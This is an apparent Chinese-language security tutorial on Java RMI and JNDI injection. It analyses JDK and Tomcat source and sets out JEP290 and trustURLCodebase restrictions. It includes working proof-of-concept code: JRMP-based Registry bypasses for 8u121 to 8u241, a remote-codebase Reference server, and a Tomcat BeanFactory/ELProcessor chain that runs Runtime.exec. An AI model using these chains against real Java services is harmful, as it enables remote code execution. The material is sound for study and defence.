前言

JNDI全称为 Java Naming and DirectoryInterface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,但是jndi的参数不一定可控,在实战中jndi常常被用来上传我们的后门或执行自定义恶意代码,如fastjson的com.sun.rowset.JdbcRowSetImpl,也就是服务端攻击客户端

javaRMI

Java RMI(Remote Method Invocation)是Java提供的一种远程方法调用机制。它允许在分布式系统中的不同Java虚拟机(JVM)之间进行方法调用。

Client-客户端:客户端调用服务端的方法,并发送序列化的参数信息
Server-服务端:远程调用方法对象的提供者,也是代码真正执行的地方,执行结束会序列化传输给客户端执行的结果,因此在Clinet看来,就好像是在本地执行了这个方法

11168448452
当client想调用server上方法的时候,就可以调用stub上的相同的方法,但是stub里面只有和网络相关的处理逻辑,并没有对应的业务处理逻辑。客户端和stub对话,stub和skeleton对话,skeleton和server对话,server执行真正的方法

RMI Registry

Registry-注册中心:其实本质就是一个map,相当于是字典一样,用于客户端查询要调用的方法的引用,在低版本的JDK中,Server与Registry是可以不在一台服务器上的,而在高版本的JDK中,Java中对于RMI Registry做了限制,只有源地址为localhost时才能调用bind、rebind(bind+unbind)、unbind等方法

1705827-20190614004450896-1636413620

虽然Server与Registry大概率是在同一台机器上,但是和client和server一样也是使用Stub 与 Skel 之间的通信模式,只不过具体被调用的逻辑不用自己编写

调用流程:

  1. Registry通过LocateRegistry.createRegistry创建一个Registry,在其中创建了一个Skeleton
  2. client和server通过LocateRegistry.getRegistry(ip,port)在本地创建一个Stub对象作为Registry远程对象的代理
  3. service通过registry.bind()将我们要发送的name以及Remote远程对象序列化发送了过去,Registry则据此构造一个stub对象,并添加到this.bindings路由表中
  4. 当客户端使用registry.lookup(),RMIRegistry 就会返回这个stub给客户端调用

client和server的通讯

Server端往往是开启两个端口的,一个1099端口用于Registry,另一个是随机端口用于与Client通信
调用流程:

  1. Server监听一个端口,这个端口是JVM随机选择的,并将包括IP,开放的随机端口,codebase等在bind时添加到传入的stub对象
  2. RMI Client 远程连接RMI Registry端口,调用通过lookup获得的stub上的方法
  3. 调用时会去codebase所指向的地址加载类(urlclass),如果没有找到则说明是远程对象
  4. 客户端和服务端建立连接,方法在远程server上执行,并发执行结果返回给stub

    示例代码

    服务端(在实际应用中Server和Registry一般放在一起):
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    //创建远程接口
    public interface evil extends Remote {
    public void evil() throws Exception;
    }

    //实现类:创建远程类。这个类是服务端的实现,它实现了远程接口定义的方法。
    public class eviltest extends UnicastRemoteObject implements evil {
    protected eviltest() throws RemoteException {
    }
    @Override
    public void evil() throws Exception {
    Runtime.getRuntime().exec("calc.exe");
    }
    }
    //向Registry注册远程对象
    public class rmiserver {
    public static void main(String[] args) throws Exception{
    Registry registry =LocateRegistry.createRegistry(1089);//创建并启动了注册器Registry
    evil evil = new eviltest();
    registry.rebind("evil", evil);
    }
    }

客户端调用服务端接口:

1
2
3
4
5
6
7
8
public class rmiclienr {
public static void main(String[] args) throws Exception {
evil evil = (evil) Naming.lookup("rmi://10.24.38.47/evil");//注意这里应该强转为接口类
//RMI Naming是对RMI Registry的一种封装和扩展,底层还是Registry,在使用默认的1099端口的情况下,可以在远程对象的URL中省略端口号
evil.evil();
}
}

安全限制

java.rmi.server.useCodebaseOnly

从JDK 6u45、7u21开始,该参数默认值为 true 的情况下,Java虚拟机将只信任预先配置好的codebase,不再支持从RMI请求中获取codebase。

rmi反序列化

java在JEP290中对rmi限制的还是比较狠的,8u241修复之后基本上就没有利用的方式了
Java RMI使用了Java序列化机制来将参数和返回值在客户端和服务端之间进行传输。被传输的对象需要实现Serializable接口,或者使用其他可序列化的方式。

攻击Server端

当客户端需要调用的远程方法的参数中含有Object类,此时Client可以发送一个恶意的对象。由于远程对象是以序列化形式进行传输的,Server端接收的时候势必会对其进行反序列化

攻击Client

● lookup(String)
在RMI过程中,Server会把远程方法执行的结果返回给Client端,如果返回的结果是一个对象,那么这个对象会被序列化传输,并在Client端被反序列化

攻击Registry

● bind(String, Remote)
● rebind(String, Remote)
● lookup(String)

在使用 Registry 时,首先由 Server 端向 Registry 端绑定服务对象,Registry 端会反序列化这个类并存在自己的 RegistryImpl 的 bindings 中,以供后续的查询。我们可以绑定一个动态代理类,在其反序列化时就可以触发恶意调用

RegistryImpl 对象与 JEP290

(jdk>=8u121,>=7u13,>=6u141)
JEP290 是 Java 底层为了缓解反序列化攻击提出的一种解决方案,主要做了以下几件事

1、提供一个限制反序列化类的机制,白名单或者黑名单。2、限制反序列化的深度和复杂度。3、为 RMI 远程调用对象提供了一个验证类的机制。4、定义一个可配置的过滤机制,比如可以通过配置 properties 文件的形式来定义过滤器。

这也是为什么 高版本jdk 有部分能打 jndi,打不了 RMI的原因

高版本 jdk 引入了 JEP 290 策略, 并在 Client 与 Registry 的通信过程中默认设置了 registryFilter,会使攻击者伪装成服务端向注册端发起bind/rebind/unbind的攻击失效

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
//sun\rmi\registry\RegistryImpl.class
private static ObjectInputFilter.Status registryFilter(ObjectInputFilter.FilterInfo var0) {
if (registryFilter != null) {
ObjectInputFilter.Status var1 = registryFilter.checkInput(var0);
if (var1 != Status.UNDECIDED) {//限制递归深度
return var1;
}
}

if (var0.depth() > 20L) {//限制数组长度
return Status.REJECTED;
} else {
Class var2 = var0.serialClass();
if (var2 != null) {
if (!var2.isArray()) {
return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;//基于白名单递归检查类型
} else {
return var0.arrayLength() >= 0L && var0.arrayLength() > 1000000L ? Status.REJECTED : Status.UNDECIDED;
}
} else {
return Status.UNDECIDED;
}
}
}

bypass 8u121-8u231
1.RemoteObject 可以通过白名单的检测被bind
2.RemoteObject 在Registry处反序列化时,可以通过内部的 UnicastRef 对象发起 JRMP 请求连接恶意的 Server

1
2
3
4
5
6
7
 Registry registry = LocateRegistry.getRegistry(9999);
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint("localhost", 8888);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
// HelloImpl hello = new HelloImpl(ref);
RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(ref);
registry.bind("pwn", handler);

同时这个也是 ysoserial 原生反序列化打jrmp的链子(直接反序列化UnicastRef,参考之前写的weblogic2017那个cve)

过滤:在 JEP290 加入的sun.rmi.transport.DGCImpl#checkInput逻辑也与之前相同,会拦截payload的最终执行

Bypass 8u231~8u241
利用动态代理触发不走反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
static UnicastRemoteObject getPayload() throws Exception {
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint("localhost", 9999);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));

System.getProperties().put("sun.misc.ProxyGenerator.saveGeneratedFiles", "true");
RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(ref);
RMIServerSocketFactory factory = (RMIServerSocketFactory) Proxy.newProxyInstance(
handler.getClass().getClassLoader(),
new Class[]{RMIServerSocketFactory.class, Remote.class},
handler
);

Constructor<UnicastRemoteObject> constructor = UnicastRemoteObject.class.getDeclaredConstructor();
constructor.setAccessible(true);
UnicastRemoteObject unicastRemoteObject = constructor.newInstance();

Field field_ssf = UnicastRemoteObject.class.getDeclaredField("ssf");
field_ssf.setAccessible(true);
field_ssf.set(unicastRemoteObject, factory);

return unicastRemoteObject;
}

两种绕过方法的比较

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
客户端发送数据 --> ...
RemoteObject#readObject -->
StreamRemoteCall#releaseInputStream -->
ConnectionInputStream#registerRefs -->
DGCClient#registerRefs -->
DGCClient$EndpointEntry#registerRefs -->
DGCClient$EndpointEntry#makeDirtyCall -->
DGCImpl_Stub#dirty --> //8u231的过滤点
UnicastRef#invoke --> (RemoteCall var1)
StreamRemoteCall#executeCall -->
ObjectInputSteam#readObject --> "pwn"



客户端发送数据 -->
UnicastRemoteObject#readObject -->
UnicastRemoteObject#reexport -->
UnicastRemoteObject#exportObject --> overload
UnicastRemoteObject#exportObject -->
UnicastServerRef#exportObject --> ...
TCPTransport#listen -->
TcpEndpoint#newServerSocket -->
RMIServerSocketFactory#createServerSocket --> Dynamic Proxy(RemoteObjectInvocationHandler)
RemoteObjectInvocationHandler#invoke -->
RemoteObjectInvocationHandler#invokeMethod -->
UnicastRef#invoke --> (Remote var1, Method var2, Object[] var3, long var4)
StreamRemoteCall#executeCall -->
ObjectInputSteam#readObject --> "pwn"

攻击 DGC

伴随着 RMI 服务启动的还有 DGC 通信,DGC作用是跟踪stub的使用,检查它们是否还被其他对象引用,如果没有,则认为该远程对象已经成为无用对象,可以被垃圾回收器回收
Server 端启动 DGCImpl,在 Registry 端注册 DGCImpl_Stub ,Client 端获取到 DGCImpl_Stub,通过其与 Server 端通信,Server 端使用 DGCImpl_Skel 来处理。
由于 DGC 通信和 RMI 通信在 Transport 层是同样的处理逻辑,只不过根据 Client 端写入的标记来区分是是由 RegistryImpl_Skel 还是 DGCImpl_Skel 来处理,因此我们可以使用 DGC 来攻击任意一个由 JRMP 协议监听的端口,包括 Registry 端监听端口、RegistryImpl_Stub 监听端口、DGCImpl_Stub 监听端口。

java jndi

jVWyTehR6InovSu
JNDI就是一组API接口。每一个对象都有一组唯一的键值绑定,将名字和对象绑定,可以通过名字检索指定的对象,而该对象可能存储在RMI、LDAP、CORBA等等,也就是说jndi简化了客户端的操作,只用协议解析就可以调用不同的方法了

Reference

Reference-1-1024x492

在JNDI服务中,RMI服务端除了直接绑定远程对象以外,还可以通过Reference类来绑定一个外部的远程对象,这个远程对象是当前名称目录系统之外的对象,绑定了Reference之后,服务端会先通过Referenceable.getReference()获取绑定对象的引用,并且在目录中保存。

使用

使用JNDI解析调用远程RMI方法
客户端

1
2
3
4
5
 // 获取远程对象引用
Context namingContext = new InitialContext();
EvilObject remoteObj = (EvilObject) namingContext.lookup("rmi://localhost/refObj");//示例代码通过lookup会自动使用rmiURLContext处理RMI请求。
// 调用远程方法
String result = remoteObj.sayHello();

服务端
1
2
3
4
5
6
Registry registry = LocateRegistry.createRegistry(1099);
// Reference需要传入三个参数 (className,factory,factoryLocation)
// 第一个参数为别名,第二个参数填写我们http服务下的类名,第三个参数填写我们的远程地址
Reference refObj = new Reference("Evil", "EvilObject", "http://127.0.0.1:8000/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);

Reference

在Java中,javax.naming.Reference类是用于描述一个命名对象的基本信息的。该类提供了一种通用的方式来表示对象在一个JNDI上下文中的引用。Reference对象可以被绑定到一个JNDI上下文中,然后通过名称进行检索并返回。

Reference对象通常包含了以下信息:
对象的类名
工厂类的类名
工厂类需要的参数
其他附加信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
protected String className;
protected String classFactory = null;
protected String classFactoryLocation = null;
public Reference(String className, String factory, String factoryLocation) {
this(className);
classFactory = factory;
classFactoryLocation = factoryLocation;
}
public String getFactoryClassName() {
return classFactory;
}
public String getFactoryClassLocation() {
return classFactoryLocation;
}
ReferenceWrapper

ReferenceWrapper只是对Reference进行简单的包装

1
2
3
4
5
6
7
8
9
10
11
12
public class ReferenceWrapper extends UnicastRemoteObject implements RemoteReference {
protected Reference wrappee;
private static final long serialVersionUID = 6078186197417641456L;

public ReferenceWrapper(Reference var1) throws NamingException, RemoteException {
this.wrappee = var1;
}

public Reference getReference() throws RemoteException {
return this.wrappee;
}
}

安全限制

该方法在底层实现中不同与rmi,rmi是使用RMIClassLoader.loadClass加载的,而是在Naming/Directory服务中里使用URLClassLoader加载的,因此不受 java.rmi.server.useCodebaseOnly 系统属性的限制

在6u141,7u131,8u121之后,新增了 com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议通过RMI从远程的Codebase加载Reference工厂类,该更新阻止了RMI和CORBA触发漏洞
随后在6u211,7u201.8u191中,又新增了 com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase选项

使用本地的Reference Factory类绕过高版本限制

JNDI底层实现

这里以rmi的lookup方法为例

RegistryContext

com.sun.jndi.rmi.registry.RegistryContext是Java中的一个类,实现了JNDI API提供的上下文接口(javax.naming.Context),用于访问RMI注册表中的对象。
该类是JNDI API的一个具体实现,允许客户端通过JNDI API访问远程RMI注册表,并使用像本地文件系统一样的方式来查找和绑定对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
public Object lookup(Name var1) throws NamingException {
if (var1.isEmpty()) {
return new RegistryContext(this);
} else {
Remote var2;
try {
var2 = this.registry.lookup(var1.get(0));//RegistryImpl_Stub
} catch (NotBoundException var4) {
throw new NameNotFoundException(var1.get(0));
} catch (RemoteException var5) {
throw (NamingException)wrapRemoteException(var5).fillInStackTrace();
}

return this.decodeObject(var2, var1.getPrefix(1));//返回最终结果
}
}

private Object decodeObject(Remote var1, Name var2) throws NamingException {
try {//var1为我们传入的ReferenceWrapper
Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
Reference var8 = null;
if (var3 instanceof Reference) {
var8 = (Reference)var3;
} else if (var3 instanceof Referenceable) {
var8 = ((Referenceable)((Referenceable)var3)).getReference();
}

if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) {//限制点,如果trustURLCodebase为false,则会检测是否设置了传入的Reference是否设置了classFactoryLocation
throw new ConfigurationException("The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
} else {
return NamingManager.getObjectInstance(var3, var2, this, this.environment);
}
} catch (NamingException var5) {
throw var5;
} catch (RemoteException var6) {
throw (NamingException)wrapRemoteException(var6).fillInStackTrace();
} catch (Exception var7) {
NamingException var4 = new NamingException();
var4.setRootCause(var7);
throw var4;
}
}
2024/10/21补—从底层看rmi如何获得远程类

这里与绕过jndi高版本限制无关,主要是想分析一下,rmi是如何连接服务器并获得类的,一些底层方法同样是危险的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
public final class RegistryImpl_Stub extends RemoteStub implements Registry, Remote {
public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
try {
RemoteCall var2 = this.ref.newCall(this, operations, 2, 4905912898345647071L);

try {
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(var1);
} catch (IOException var17) {
throw new MarshalException("error marshalling arguments", var17);
}

this.ref.invoke(var2);

Remote var22;
try {
ObjectInput var4 = var2.getInputStream();
var22 = (Remote)var4.readObject();
} catch (IOException var14) {
throw new UnmarshalException("error unmarshalling return", var14);
} catch (ClassNotFoundException var15) {
throw new UnmarshalException("error unmarshalling return", var15);
} finally {
this.ref.done(var2);
}

return var22;
//上面那个ref为UnicastRef类
public class UnicastRef implements RemoteRef {
public RemoteCall newCall(RemoteObject var1, Operation[] var2, int var3, long var4) throws RemoteException {
clientRefLog.log(Log.BRIEF, "get connection");
Connection var6 = this.ref.getChannel().newConnection();//建立连接tcp socket

try {
clientRefLog.log(Log.VERBOSE, "create call context");
if (clientCallLog.isLoggable(Log.VERBOSE)) {
this.logClientCall(var1, var2[var3]);
}
StreamRemoteCall var7 = new StreamRemoteCall(var6, this.ref.getObjID(), var3, var4);
try {
this.marshalCustomCallData(var7.getOutputStream());
} catch (IOException var9) {
throw new MarshalException("error marshaling custom call data");
}

return var7; //newCall返回StreamRemoteCall类
//
public void invoke(RemoteCall var1) throws Exception {
try {
clientRefLog.log(Log.VERBOSE, "execute call");
var1.executeCall();//调用StreamRemoteCall类 的executeCall()方法 ,这个方法会异常结果反序列化读出来的
NamingManager

javax.naming.spi.NamingManager是Java中提供了一些用于JNDI操作的静态方法的类。它位于javax.naming.spi包中,提供了一些静态方法来管理JNDI上下文工厂和对象实例化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
 public static Object
getObjectInstance(Object refInfo, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws Exception
{
.....
Reference ref = null;
if (refInfo instanceof Reference) {
ref = (Reference) refInfo;
} else if (refInfo instanceof Referenceable) {
ref = ((Referenceable)(refInfo)).getReference();
}

if (ref != null) {//如果传入的是refer则进入
String f = ref.getFactoryClassName();//调用了获得refer的getFactoryClassName方法
if (f != null) {
factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,//绕过点
environment);
}

.......
}}}

static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class<?> clas = null;
try {
clas = helper.loadClass(factoryName);//尝试本地加载
} catch (ClassNotFoundException e) {
}
String codebase;
if (clas == null &&
(codebase = ref.getFactoryClassLocation()) != null) {
try {
clas = helper.loadClass(factoryName, codebase);// 尝试远程类,最后实现是通过 Class.forName(className, true, cl),其中cl为自定义 URLClassLoader
} catch (ClassNotFoundException e) {
}
}

return (clas != null) ? (ObjectFactory) clas.newInstance() : null;//强转为ObjectFactory类型
}

基于BeanFactory的任意方法调用( tomcat依赖包<8.5.85)

在高版本中(如:JDK8u191以上版本)虽然不能从远程加载恶意的Factory,但是我们依然可以在返回的Reference中指定Factory Class,这个工厂类必须在受害目标本地的CLASSPATH中。工厂类必须实现 javax.naming.spi.ObjectFactory 接口,并且至少存在一个 getObjectInstance() 方法(在之前,远程类加载时用的Class.forName(className, true, cl)可以加载静态代码块,且在前面,后面报错了也没事)

Apache Tomcat中的org.apache.naming.factory.BeanFactory 刚好满足条件并且存在被利用的可能。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//利用代码
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMI_Server_ByPass {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
resourceRef.add(new StringRefAddr("forceString", "faster=eval"));
resourceRef.add(new StringRefAddr("faster", "Runtime.getRuntime().exec(\"calc\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
registry.bind("Tomcat8bypass", referenceWrapper);
System.out.println("Registry运行中......");
//实际上就相当于运行java.lang.Object javax.el.ELProcessor.eval(Runtime.getRuntime().exec("calc"))
}
}
ResourceRef

ResourceRef是Java中javax.naming.Reference的子类之一,它用于表示JNDI上下文中资源的引用。ResourceRef可以用来描述连接到数据库、消息队列等资源的引用。

ResourceRef对象通常由应用服务器(如Tomcat、WebLogic等)或其他JNDI容器自动生成,并与JNDI上下文相关联。在JNDI目录中,ResourceRef对象的名称通常映射到资源的JNDI名称。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
public class ResourceRef extends Reference {
public ResourceRef(String resourceClass, String description,
String scope, String auth, boolean singleton,
String factory, String factoryLocation) {
super(resourceClass, factory, factoryLocation);//调用Reference的构造方法
StringRefAddr refAddr = null;
if (description != null) {
refAddr = new StringRefAddr(DESCRIPTION, description);
add(refAddr);
}
if (scope != null) {
refAddr = new StringRefAddr(SCOPE, scope);
add(refAddr);
}
if (auth != null) {
refAddr = new StringRefAddr(AUTH, auth);
add(refAddr);
}
// singleton is a boolean so slightly different handling
refAddr = new StringRefAddr(SINGLETON, Boolean.toString(singleton));
add(refAddr);
}
//下面是从Reference继承过来的
protected Vector<RefAddr> addrs = null;
public void add(RefAddr addr) {
addrs.addElement(addr);
}
public RefAddr get(String addrType) {
int len = addrs.size();
RefAddr addr;
for (int i = 0; i < len; i++) {
addr = addrs.elementAt(i);
if (addr.getType().compareTo(addrType) == 0)
return addr;
}
return null;
}
public Enumeration<RefAddr> getAll() {
return addrs.elements();
}
//javax/naming/StringRefAddr.java ,在JNDI中,RefAddr用于存储引用对象中的某个特定属性的名称和值。
protected String addrType;
public StringRefAddr(String addrType, String addr) {
super(addrType);//赋给addrType
contents = addr;
}
public String getType() {
return addrType;
}
public Object getContent() {
return contents;
}
org/apache/naming/factory/BeanFactory.java

org.apache.naming.factory.BeanFactory 类,这个类的getObjectInstance() 会通过反射的方式实例化Reference所指向的任意Bean Class,并且会调用setter方法为所有的属性赋值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
public class BeanFactory implements ObjectFactory {
public Object getObjectInstance(Object obj, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws NamingException {
if (obj instanceof ResourceRef) {//检测是否为ResourceRef
try {
Reference ref = (Reference) obj;//转成Reference
String beanClassName = ref.getClassName();
Class<?> beanClass = null;
ClassLoader tcl =
Thread.currentThread().getContextClassLoader();
if (tcl != null) {
try {
beanClass = tcl.loadClass(beanClassName); //1.根据自定义类名加载类
} catch(ClassNotFoundException e) {
}
} else {
.....
Object bean = beanClass.newInstance(); //2.实例化该类
RefAddr ra = ref.get("forceString");//查找addrType的值为forceString的RefAddr
Map<String, Method> forced = new HashMap<>();
String value;
if (ra != null) {
value = (String)ra.getContent();
Class<?> paramTypes[] = new Class[1];
paramTypes[0] = String.class;
String setterName;
int index;
for (String param: value.split(",")) {
param = param.trim();
index = param.indexOf('=');
if (index >= 0) {
setterName = param.substring(index + 1).trim();//按=分隔值和键
param = param.substring(0, index).trim();
}
.....
try {
forced.put(param, beanClass.getMethod(setterName, paramTypes));//3.利用方法名和参数列表获取方法,并将结果放到一个map中
}
.....
Enumeration<RefAddr> e = ref.getAll();//获取所以的RefAddr
while (e.hasMoreElements()) {

ra = e.nextElement();
String propName = ra.getType();

if (propName.equals(Constants.FACTORY) ||
propName.equals("scope") || propName.equals("auth") ||
propName.equals("forceString") ||
propName.equals("singleton")) {
continue;
}//根据RefAddr的addrType值不能为factory|scope|auth|forceString|singleton(本例是最后一个RefAddr)
value = (String)ra.getContent();
Object[] valueArray = new Object[1];
Method method = forced.get(propName); //根据addrType值从map中提取方法
if (method != null) {
valueArray[0] = value;
try {
method.invoke(bean, valueArray); //4.调用函数

抛开各种逻辑限制不谈,这里的利用其实就是通过反射实现任意方法调用,这里要求要调用的类可以通过无参构造,调用的方法的参数数目为一且是String类型